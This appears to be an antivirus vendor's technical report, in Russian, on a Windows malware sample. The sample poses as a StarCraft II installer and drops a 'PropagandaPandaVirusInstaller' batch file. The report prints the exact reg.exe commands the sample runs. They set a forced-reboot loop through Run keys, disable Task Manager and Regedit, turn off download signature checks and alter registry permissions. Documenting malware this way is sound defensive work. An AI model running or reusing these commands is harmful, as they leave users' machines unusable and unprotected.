Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Bleh' = 'shutdown.exe /r /t 0 /f'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Bleh1' = 'shutdown.exe -r -t 0 -f'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Bleh' = 'shutdown.exe /r /t 0 /f'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Bleh1' = 'shutdown.exe -r -t 0 -f'
Вредоносные функции:
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
- Редактора реестра (RegEdit)
Создает и запускает на исполнение:
- '%TEMP%\1.tmp\reg.exe' Add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v LowRiskFileTypes /d ".zip;.rar;.cab;.txt;.exe;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mov;.mp3;.wav;.vbs" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKLM\Software\Microsoft\Internet Explorer\Download" /v CheckExeSignatures /d no /f
- '%TEMP%\1.tmp\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /d 1 /t REG_DWORD /f
- '%TEMP%\1.tmp\reg.exe' Add "HKLM\Software\Microsoft\Internet Explorer\Download" /v RunInvalidSignatures /d 1 /t REG_DWORD /f
- '%TEMP%\1.tmp\reg.exe' ACL "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /P /GE:F
- '%TEMP%\1.tmp\reg.exe' ACL "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /OM
- '%TEMP%\1.tmp\reg.exe' ACL "HKCU\Software\Microsoft\Internet Explorer\Download" /P /GE:F
- '%TEMP%\1.tmp\reg.exe' ACL "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /OM
- '%TEMP%\1.tmp\reg.exe' ACL "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /P /GE:F
- '%TEMP%\1.tmp\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /d 1 /t REG_DWORD /f
- '%TEMP%\1.tmp\reg.exe' Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Bleh1 /d "shutdown.exe -r -t 0 -f" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Bleh /d "shutdown.exe /r /t 0 /f" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Bleh1 /d "shutdown.exe -r -t 0 -f" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Bleh /d "shutdown.exe /r /t 0 /f" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /d 1 /t REG_DWORD /f
- '%TEMP%\1.tmp\reg.exe' Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v LowRiskFileTypes /d ".zip;.rar;.cab;.txt;.exe;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mov;.mp3;.wav;.vbs" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKCU\Software\Microsoft\Internet Explorer\Download" /v CheckExeSignatures /d no /f
- '%TEMP%\1.tmp\reg.exe' Add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /d 1 /t REG_DWORD /f
- '%TEMP%\1.tmp\reg.exe' Add "HKCU\Software\Microsoft\Internet Explorer\Download" /v RunInvalidSignatures /d 1 /t REG_DWORD /f
- '%TEMP%\1.tmp\reg.exe' ACL "HKCU\Software\Microsoft\Internet Explorer\Download" /OM
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\Open\.Current" /ve /d "C:\Sound\Open.wav" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\Minimize\.Current" /ve /d "C:\Sound\Minimize.wav" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\RestoreUp\.Current" /ve /d "C:\Sound\RestoreUp.wav" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\RestoreDown\.Current" /ve /d "C:\Sound\RestoreDown.wav" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\MenuPopup\.Current" /ve /d "C:\Sound\MenuPopup.wav" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\Close\.Current" /ve /d "C:\Sound\Close.wav" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\CCSelect\.Current" /ve /d "C:\Sound\CCSelect.wav" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\MenuCommand\.Current" /ve /d "C:\Sound\MenuCommand.wav" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\Maximize\.Current" /ve /d "C:\Sound\Maximize.wav" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\SystemAsterisk\.Current" /ve /d "C:\Sound\SystemAsterisk.wav" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v Wallpaper /d "%PROGRAM_FILES%\Background.jpg" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v Wallpaper /d "%PROGRAM_FILES%\Background.jpg" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Themes\LastTheme" /v Wallpaper /d "%PROGRAM_FILES%\Background.jpg" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /d "%PROGRAM_FILES%\Background.jpg" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\WindowsLogon\.Current" /ve /d "C:\Sound\WindowsLogon.wav" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\SystemQuestion\.Current" /ve /d "C:\Sound\SystemQuestion.wav" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\SystemExclamation\.Current" /ve /d "C:\Sound\SystemExclamation.wav" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\Windowslogoff\.Current" /ve /d "C:\Sound\Windowslogoff.wav" /f
- '%TEMP%\1.tmp\reg.exe' Add "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\SystemStart\.Current" /ve /d "C:\Sound\SystemStart.wav" /f
Запускает на исполнение:
- '<SYSTEM32>\shutdown.exe' /r /f /t 0
- '<SYSTEM32>\shutdown.exe' -r -t 0 -f
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\_PropagandaPandaVirusInstaller.bat" "
- '<SYSTEM32>\rundll32.exe' "<SYSTEM32>\user32.dll", UpdatePerUserSystemParameters
Изменяет следующие настройки браузера Windows Internet Explorer:
- [<HKCU>\Software\Microsoft\Internet Explorer\Download] 'CheckExeSignatures' = 'no'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Associations] 'LowRiskFileTypes' = '.zip;.rar;.cab;.txt;.exe;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mov;.mp3;.wav;.vbs'
- [<HKCU>\Software\Microsoft\Internet Explorer\Download] 'RunInvalidSignatures' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Internet Explorer\Download] 'CheckExeSignatures' = 'no'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Associations] 'LowRiskFileTypes' = '.zip;.rar;.cab;.txt;.exe;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mov;.mp3;.wav;.vbs'
- [<HKLM>\SOFTWARE\Microsoft\Internet Explorer\Download] 'RunInvalidSignatures' = '00000001'
Пытается завершить работу операционной системы Windows.
Изменения в файловой системе:
Создает следующие файлы:
- C:\Sound\Close.wav
- C:\Sound\CCSelect.WAV
- C:\Sound\Maximize.wav
- C:\Sound\MenuPopup.wav
- C:\Sound\MenuCommand.wav
- %TEMP%\1.tmp\SystemStart.wav
- %TEMP%\1.tmp\SystemQuestion.wav
- %TEMP%\1.tmp\Windowslogoff.wav
- %TEMP%\1.tmp\Background.jpg
- %TEMP%\1.tmp\WindowsLogon.wav
- C:\Sound\Minimize.wav
- C:\Sound\SystemStart.wav
- C:\Sound\SystemQuestion.wav
- C:\Sound\Windowslogoff.wav
- %PROGRAM_FILES%\Background.jpg
- C:\Sound\WindowsLogon.wav
- C:\Sound\RestoreDown.wav
- C:\Sound\Open.wav
- C:\Sound\RestoreUp.wav
- C:\Sound\SystemExclamation.wav
- C:\Sound\SystemAsterisk.WAV
- %TEMP%\1.tmp\HijackSound.bat
- %TEMP%\1.tmp\HijackBackground.bat
- %TEMP%\1.tmp\Maximize.wav
- %TEMP%\1.tmp\MenuPopup.wav
- %TEMP%\1.tmp\MenuCommand.wav
- %TEMP%\1.tmp\blue.ico
- %TEMP%\1.tmp\_PropagandaPandaVirusInstaller.bat
- %TEMP%\1.tmp\BreakSafeBoot.bat
- %TEMP%\1.tmp\Close.wav
- %TEMP%\1.tmp\CCSelect.WAV
- %TEMP%\1.tmp\Minimize.wav
- %TEMP%\1.tmp\StarCraft_II_HotS_EN_1.0.1.2.exe
- %TEMP%\1.tmp\SetRegistryPermissions.bat
- %TEMP%\1.tmp\StartupLoop.bat
- %TEMP%\1.tmp\SystemExclamation.wav
- %TEMP%\1.tmp\SystemAsterisk.WAV
- %TEMP%\1.tmp\reg.exe
- %TEMP%\1.tmp\Open.wav
- %TEMP%\1.tmp\RestoreDown.wav
- %TEMP%\1.tmp\SetBadPolicies.bat
- %TEMP%\1.tmp\RestoreUp.wav
Удаляет следующие файлы:
- %TEMP%\1.tmp\StarCraft_II_HotS_EN_1.0.1.2.exe
- %TEMP%\1.tmp\StartupLoop.bat
- %TEMP%\1.tmp\SystemAsterisk.WAV
- %TEMP%\1.tmp\RestoreUp.wav
- %TEMP%\1.tmp\SetBadPolicies.bat
- %TEMP%\1.tmp\SetRegistryPermissions.bat
- %TEMP%\1.tmp\SystemExclamation.wav
- %TEMP%\1.tmp\WindowsLogon.wav
- %TEMP%\1.tmp\Background.jpg
- %TEMP%\1.tmp\_PropagandaPandaVirusInstaller.bat
- %TEMP%\1.tmp\SystemQuestion.wav
- %TEMP%\1.tmp\SystemStart.wav
- %TEMP%\1.tmp\Windowslogoff.wav
- %TEMP%\1.tmp\Close.wav
- %TEMP%\1.tmp\HijackBackground.bat
- %TEMP%\1.tmp\HijackSound.bat
- %TEMP%\1.tmp\blue.ico
- %TEMP%\1.tmp\BreakSafeBoot.bat
- %TEMP%\1.tmp\CCSelect.WAV
- %TEMP%\1.tmp\Maximize.wav
- %TEMP%\1.tmp\Open.wav
- %TEMP%\1.tmp\reg.exe
- %TEMP%\1.tmp\RestoreDown.wav
- %TEMP%\1.tmp\MenuCommand.wav
- %TEMP%\1.tmp\MenuPopup.wav
- %TEMP%\1.tmp\Minimize.wav
Другое:
Ищет следующие окна:
- ClassName: 'Indicator' WindowName: ''
